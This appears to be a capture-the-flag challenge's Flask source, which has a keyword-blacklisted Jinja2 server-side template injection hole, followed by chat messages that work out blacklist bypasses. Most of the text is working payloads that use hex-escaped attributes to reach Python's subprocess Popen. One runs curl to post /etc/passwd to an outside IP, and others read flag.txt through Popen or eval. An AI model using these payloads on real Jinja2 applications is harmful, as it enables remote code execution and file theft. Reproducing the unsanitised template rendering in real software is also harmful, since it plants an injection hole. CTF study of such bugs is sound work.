from pickle import FALSE
from flask import Flask, request,render_template
from jinja2 import Template
app = Flask(__name__)
@app.route('/')
def home():
return render_template('./index.html')
@app.route( '/follow_the_light', methods=['GET'])
def F0LL0WM3():
the_light = request.args.get("input", None)
if the_light is None:
return "It's just a white screen keep trying....."
else:
for _ in the_light:
if any(x in the_light for x in {'.','_','|join', '[', ']', 'mro', 'base','import','builtins','attr','request','application','getitem','render_template'}):
return "NOICE TRY"
else:
return Template("Your input: " + the_light).render()
if __name__ == "__main__":
app.run(host='0.0.0.0', port=3000)|join on the blacklist can be bypassed with | join{{"sdfs"|map("\x61ttr","\x5f\x5fclass\x5f\x5f")|first}} (edited)"sdfs".__class__|join on the blacklist can be bypassed with | join 
|join not joinhttp://pipe-your-way.chal.ctf.gdgalgiers.com/follow_the_light?input={{%22sdfs%22|map(%22\x61ttr%22,%22\x5f\x5fclass\x5f\x5f%22)|map(%22\x61ttr%22,%22\x5f\x5fmr\x6f\x5f\x5f%22)|list|map(%22last%22)|map(%22\x61ttr%22,%22\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f%22)|list}} (edited)view-source:http://pipe-your-way.chal.ctf.gdgalgiers.com/follow_the_light?input={% set z = "curl 3354495921:1234 -F=@/etc/passwd" |list|slice(1)|list|map("join")|map("\x61ttr", "split")|first()()%}{{"sdfs"|map("\x61ttr","\x5f\x5fclass\x5f\x5f")|map("\x61ttr","\x5f\x5fmr\x6f\x5f\x5f")|list|map("last")|map("\x61ttr","\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")|list|first()()|slice(1)|list|map("\x61ttr", "\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")|list|first()(224)(z)}} (edited)view-source:http://pipe-your-way.chal.ctf.gdgalgiers.com/follow_the_light?input={% set cmd = "cat flag\x2etxt"|list|slice(1)|list|map("join")|map("\x61ttr", "split")|first()() %}{% set pwn = "sdfs"|map("\x61ttr","\x5f\x5fclass\x5f\x5f")|map("\x61ttr","\x5f\x5fmr\x6f\x5f\x5f")|list|map("last")|map("\x61ttr","\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")|list|first()()|slice(1)|list|map("\x61ttr", "\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")|list|first()(224)(cmd,stdout=-1) %}{% set arr = ""|list|slice(1)|list %}{{ arr|map("\x61ttr", "append")|first()(pwn) }}{{ arr|first|map("\x61ttr","communicate")|first()() }} (edited)
|first tho{{ ((lipsum,)|map(**{"at"+"tribute" : "\x5F\x5Fglobals\x5F\x5F"})|map(**{"at"+"tribute" : "\x5F\x5Fbui"+"ltins\x5F\x5F"})|map(**{"at"+"tribute" : "eval"})|list|last)("open('flag\x2Etxt')\x2Eread()") }}
This works too fyi